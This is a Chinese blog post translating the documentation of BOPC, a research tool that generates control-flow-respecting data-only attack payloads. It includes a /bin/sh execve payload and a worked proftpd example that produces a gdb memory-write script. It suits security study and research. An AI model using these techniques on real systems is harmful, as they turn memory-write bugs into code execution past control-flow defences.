BOPC-数据流攻击自动化工具

基本上是对官方文档的翻译,适当删减了一些,把自己觉得重要的挑了出来:

https://github.com/HexHive/BOPC

论文来源CCS2018会议的一篇论文:BOP

什么是BOPC?

BOPC表示BOP Compiler,就是一个自动化生成图灵完备的数据流payload的工具。BOPC在执行特定payload的二进制文件中找到执行路径,同时保证路径符合控制流图(CFG)的规则。这意味着现有的控制流防御措施不足以检测这种攻击。
BOPC基于基本块来实现的。他所做的就是去找功能块(执行有用计算的基本块)的集合。这个步骤有点像ROP找gadget。有了功能块,BOPC去找调度块来将功能块连起来。而ROP中从一个gadget到另外一个gadget没有限制。这里我们不能直接从一个功能块跳到另外一个功能块,因为这会违反控制流完整性(CFI)。相反,BOPC去找一系列调度块来使得程序从一个功能块执行到另外一个上。但是,实现数据流的payload是一个NP难问题,也就意味着BOPC找到一个可行的方案需要比较长时间。

BOPC需要三个输入:

  • 目标二进制又给任意内存写的漏洞(硬需求)
  • 目标payload,用高级语言SPL表示
  • 入口点:二进制中的第一条指令
    BOPC的输出是一个“what-where”内存写集合,表示内存要如何初始化(内存的某个地址要写某个具体的值)。当程序执行到入口点,内存会按BOPC的输出初始化,然后目标二进制文件不执行原来的路径,而是我们预期的payload。

友情提示:这个研究项目是由一个人写的。因为不是产品,所以不要期望这个可以在所有场景下都能正常工作。在提供的测试样例上都能很好工作,但是超出这个,作者就不能保证可以按期望地来运行。

安装

安装比较简单,就按以下三步就可以了:

git clone https://github.com/HexHive/BOPC.git
cd BOPC
sudo ./setup.sh

如何使用BOPC

BOPC的实现合和论文中有一点不一样,实际的实现如下图所示。在这里插入图片描述

命令行参数

usage: BOPC.py [-h] [-b BINARY] [-a {save,load,saveonly}] [--emit-IR] [-d]
               [-dd] [-ddd] [-dddd] [-V] [-s SOURCE] [-e ENTRY]
               [-O {none,ooo,rewrite,full}] [-f {raw,idc,gdb}] [--find-all]
               [--mapping-id ID] [--mapping MAP [MAP ...]] [--enum-mappings]
               [--abstract-blk BLKADDR] [-c OPTIONS [OPTIONS ...]]

optional arguments:
  -h, --help            show this help message and exit

General Arguments:
  -b BINARY, --binary BINARY
                        Binary file of the target application
  -a {save,load,saveonly}, --abstractions {save,load,saveonly}
                        Work with abstraction file
  --emit-IR             Dump SPL IR to a file and exit
  -d                    Set debugging level to minimum
  -dd                   Set debugging level to basic (recommended)
  -ddd                  Set debugging level to verbose (DEBUG ONLY)
  -dddd                 Set debugging level to print-everything (DEBUG ONLY)
  -V, --version         show program's version number and exit

Search Options:
  -s SOURCE, --source SOURCE
                        Source file with SPL payload
  -e ENTRY, --entry ENTRY
                        The entry point in the binary that payload starts
  -O {none,ooo,rewrite,full}, --optimizer {none,ooo,rewrite,full}
                        Use the SPL optimizer (Default: none)
  -f {raw,idc,gdb}, --format {raw,idc,gdb}
                        The format of the solution (Default: raw)
  --find-all            Find all the solutions

Application Capability:
  -c OPTIONS [OPTIONS ...], --capability OPTIONS [OPTIONS ...]
                        Measure application's capability. Options (can be many)
                        
                        all	Search for all Statements
                        regset	Search for Register Assignments
                        regmod	Search for Register Modifications
                        memrd	Search for Memory Reads
                        memwr	Search for Memory Writes
                        call	Search for Function/System Calls
                        cond	Search for Conditional Jumps
                        load	Load capabilities from file
                        save	Save capabilities to file
                        noedge	Dump statements and exit (don't calculate edges)

Debugging Options:
  --mapping-id ID       Run the Trace Searching algorithm on a given mapping ID
  --mapping MAP [MAP ...]
                        Run the Trace Searching algorithm on a given register mapping
  --enum-mappings       Enumerate all possible mappings and exit
  --abstract-blk BLKADDR
                        Abstract a specific basic block and exit

参数主要分为四个部分:

  • 通用
  • 搜索
  • 应用能力
  • 调试
General Argument

为了避免直接在汇编上直接操作,BOPC对每个基本块进行了抽象。更多的细节可以去参考absblk.py。抽象过程符号化执行了二进制中每个基本块,并且小心地监控其操作。
抽象过程基于二进制,而不需要SPL payload或者入口点,所以我们只要计算好抽象一次,然后把它存储为一个文件。savesaveonly的区别在于saveonly在保存抽象后停止执行了,而save还会继续搜索解决方案。load就是从文件中加载抽象。
--emit-IR是用来dump出SPL payload的中间表示。
BOPC还提供了五种详细级别:no option, -d,-dd,-ddd-dddd。作者强烈推荐使用-dd或者-ddd来获取详细的过程信息。

Search options

最重要的参数是--source,表示包含SPL payload的文件,--entry表示二进制里的地址(入口点),路径搜索从这个入口点开始,所以这个是相当重要的参数。
优化器选项-o是把双刃剑。一方面,它可以优化SPL payload来使其更灵活,也就意味着增加了找到方案的可能性,另一方面,搜索的空间增加了,也就更耗时了。决定在于用户,所以这个-o选项是可选的。另外两个可选的优化是乱序执行(ooo)和代码重写(rewrite)。这里就不细翻译了,感兴趣的可以去原文看。
我们之前也说过,BOPC的输出是“what-where”的内存写集合。所以有几种表示输出的方式。比如可以表示为几行地址,值和要写入内存的数据大小。或者可以是gdb/IDA的脚本。目前gdb这个选项已经实现了。

Application Capability

这个选项是用来衡量应用的能力,也就是给我们一个上界,目标二进制能执行什么payload。

Debugging Options

这个是用来协助审计/调试/开发的过程。这个功能主要是用来针对BOP流程的某个部分。比如说,你要针对一个特定的映射458,你不想等BOPC尝试前面的457个映射。这样可以使用--maping-id=458来跳过所有的映射,然后集中精力针对这个映射。

最后,实际上BOPC还有很多设置选项,你可以在config.py里找到,并且根据你的需求做调整。

例子

现在来看看怎么去使用BOPC。第一件事就是获取基本块抽象。这个过程可能需要跑BOPC好几次,那么第一次的话,可以用下面的命令来做。

./source/BOPC.py -dd --binary $BINARY --abstractions saveonly

这个命令获取了二进制文件的抽象,然后保存到文件$BINARY.abs,不要忘记开启debug来观察信息。
写一个SPL payload有点像写C语言:

void payload() 
{ 
    string prog = "/bin/sh\0";
    int argv    = {&prog, 0x0};

    __r0 = &prog;
    __r1 = &argv;
    __r2 = 0;
    
    execve(__r0, __r1, __r2);
}

作者提供了一些SPL payload供我们使用。理论上,我们可以用SPL 来写各种payload,但实际上payload越复杂,后面成功的概率会更小。

运行BOPC,可以用下面的命令

./source/BOPC.py -dd --binary $BINARY --source $PAYLOAD --abstractions load \
--entry $ENTRY --format gdb

如果一切正常的话,就会产生一个*.gdb后缀的文件,这个文件包含了内存写集合来执行特定payload。

减小搜索空间

一个常见的问题是可能存在成千上万的映射,每个映射都要花1分钟来测试,所以BOPC可能会花好几天运行。
然而,如果我们大约知道解决方案在哪里可以实现,我们可以让BOPC快速找到并验证,而不需要尝试所有的映射。现在让我们假设我们想要执行下面的SPL payload。

void payload() 
{ 
    string msg = "This is my random message! :)\0";

    __r0 = 0;
    __r1 = &msg;
    __r2 = 32;

    write( __r0, __r1, __r2 );
}

因为我们有一个系统调用,所以我们知道寄存器的映射:__r0 <-> rdi, __r1 <-> rsi, __r2 <-> rdx
现在假设我们在proftpd这个二进制文件,并且包含了以下这个功能块:

.text:000000000041D0B5 loc_41D0B5:
.text:000000000041D0B5        mov     edi, cs:scoreboard_fd ; fd
.text:000000000041D0BB        mov     edx, 20h        ; n
.text:000000000041D0C0        mov     esi, offset header ; buf
.text:000000000041D0C5        call    _write

这个基本块的抽象将会是下面这个(要获得一个基本块的抽象,需要在命令行输入--abstract-blk 0x41D0B5):

[22:02:07,822] [+] Abstractions for basic block 0x41d0b5:
[22:02:07,823] [+]          regwr :
[22:02:07,823] [+] 		rsp = {'writable': True, 'const': 576460752303359992L, 'type': 'concrete'}
[22:02:07,823] [+] 		rdi = {'sym': {}, 'memrd': None, 'type': 'deref', 'addr': <BV64 0x66e9e0>, 'deps': []}
[22:02:07,823] [+] 		rsi = {'writable': True, 'const': 6787008L, 'type': 'concrete'}
[22:02:07,823] [+] 		rdx = {'writable': False, 'const': 32L, 'type': 'concrete'}
[22:02:07,823] [+]          memrd : set([(<SAO <BV64 0x66e9e0>>, 32)])
[22:02:07,823] [+]          memwr : set([(<SAO <BV64 0x7ffffffffff07f8>>, <SAO <BV64 0x41d0ca>>)])
[22:02:07,823] [+]          conwr : set([(576460752303359992L, 64)])
[22:02:07,823] [+]       splmemwr : []
[22:02:07,823] [+]           call : {}
[22:02:07,823] [+]           cond : {}
[22:02:07,823] [+]        symvars : {}
[22:02:07,823] [*] 

这里,__r0 <-> rdi间接加载,然后__r1 <-> rsi这个值是678008或者是十六进制的0x678fc0。然后我们用--enum-mappings枚举所有可能的映射。

如果我们观察输出,我们可以快速搜索到合适的映射,这个例子里是映射*#89*

[.... TRUNCATED FOR BREVITY ....]
[21:59:28,471] [*] Trying mapping #88:
[21:59:28,471] [*] 	Registers: __r0 <-> rdi | __r1 <-> rsi | __r2 <-> rdx
[21:59:28,471] [*] 	Variables: msg <-> *<BV64 0x7ffffffffff1440>
[21:59:28,614] [*] Trying mapping #89:
[21:59:28,614] [*] 	Registers: __r0 <-> rdi | __r1 <-> rsi | __r2 <-> rdx
[21:59:28,614] [*] 	Variables: msg <-> 0x678fc0L
[21:59:28,762] [*] Trying mapping #90:
[21:59:28,762] [*] 	Registers: __r0 <-> rdi | __r1 <-> rsi | __r2 <-> rdx
[21:59:28,762] [*] 	Variables: msg <-> *<BV64 r12_56287_64 + 0x28>
[.... TRUNCATED FOR BREVITY ....]
[22:00:04,709] [*] Trying mapping #287:
[22:00:04,709] [*] 	Registers: __r0 <-> rdi | __r1 <-> rsi | __r2 <-> rdx
[22:00:04,709] [*] 	Variables: msg <-> *<BV64 __add__(((0#32 .. rbx_294059_64[31:0]) << 0x5), r12_294068_64, 0x10)>
[22:00:04,979] [+] Trace searching algorithm finished with exit code 0

现在我们知道具体的映射了,我们可以告诉BOPC专注于这个映射。所以现在我们需要做的就是加上--mapping-id 89这个选项。
我们运行它在1分钟50秒后,我们获取到了解决方案:

#
# This file has been created by BOPC at: 29/03/2018 22:04
# 
# Solution #1
# Mapping #89
# Registers: __r0 <-> rdi | __r1 <-> rsi | __r2 <-> rdx
# Variables: msg <-> 0x678fc0L
# 
# Simulated Trace: [(0, '41d0b5', '41d0b5'), (4, '41d0b5', '41d0b5'), (6, '41d0b5', '41d0b5'), (8, '41d0b5', '41d0b5'), (10, '41d0b5', '41d0b5')]
# 

break *0x403740
break *0x41d0b5

# Entry point
set $pc = 0x41d0b5 

# Allocation size is always bigger (it may not needed at all)
set $pool = malloc(20480)

# In case that rbp is not initialized
set $rbp = $rsp + 0x800 

# Stack and frame pointers aliases
set $stack = $rsp 
set $frame = $rbp 

set {char[30]} (0x678fc0) = {0x54, 0x68, 0x69, 0x73, 0x20, 0x69, 0x73, 0x20, 0x6d, 0x79, 0x20, 0x72, 0x61, 0x6e, 0x64, 0x6f, 0x6d, 0x20, 0x6d, 0x65, 0x73, 0x73, 0x61, 0x67, 0x65, 0x21, 0x20, 0x3a, 0x29, 0x00}

set {char[8]} (0x66e9e0) = {0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}

Simulated Trace:表示BOPC走过的路径,可以看出这是一个三元组的列表,($pc, $src, $dst)

  • pc表示SPL语句的程序计数器
  • src表示当前SPL语句的功能块地址
  • dst表示下一个功能块的地址

在运行前,脚本调整rip寄存器来指向入口点,确保栈指针是合法的。同时分配一个变量池。(这个例子没有用到这个东西,详情可以看simulate.py这个代码)

现在我们在地址0x678fc00x66e9e0有了内存写。如果现在在gdb里加载二进制,然后运行这个脚本,你就会发现你的payload被执行了。

(gdb) break main
Breakpoint 5 at 0x4041a0
(gdb) run
Starting program: /home/ispo/BOPC/evaluation/proftpd 

Breakpoint 1, 0x00000000004041a0 in main ()
(gdb) continue
Continuing.

Breakpoint 3, 0x000000000041d0b5 in pr_open_scoreboard ()
(gdb) continue
Continuing.

Breakpoint 2, 0x0000000000403740 in write@plt ()
(gdb) continue
Continuing.
This is my random message! :)
Program received signal SIGSEGV, Segmentation fault.
0x00007fffffffde60 in ?? ()

需要注意的是BOPC在执行完特定的payload后就停止了。如果要避免这种情况的话,我们需要使用returnto这个SPL语句来将执行转移到合法的位置。

测量应用能力

这个是新概念,论文中没有提到的。

除了找到数据流payload以外,BOPC提供了一些基础的能力测量。虽然这个和BOP没什么关系,但是这个功能可以指示出什么样的payload可以被执行。
要获得应用的能力,运行下面的代码:

./source/BOPC.py -dd --binary $BINARY --abstractions load --capability all save

如果想要简单地为特定的语句dump出所有的功能gadget,可以用下面的命令:

./source/BOPC.py -dd --binary $BINARY --abstractions load --capability $STMT noedge

$STMT可以是这个集合{all, regset, regmod, memrd, memwr, call, cond}中的一个或多个。noedge用来加速运算的。因为它不计算能力图的边;能力图中的每个节点表示一个功能块,边表示两个功能块之间的上下文敏感的最短路径。

Final Notes

  • 当符号执行处理文件系统时,我们必须提供一个合法的文件。文件名定义在coreutils.py中的SYMBOLIC_FILENAME
  • 如果要可视化的话,只要在search.py里取消注释
  • 如果concolic execution无法工作的话,在simulate.py里调整
  • 确保simulate.py里的rspdump()一致
  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值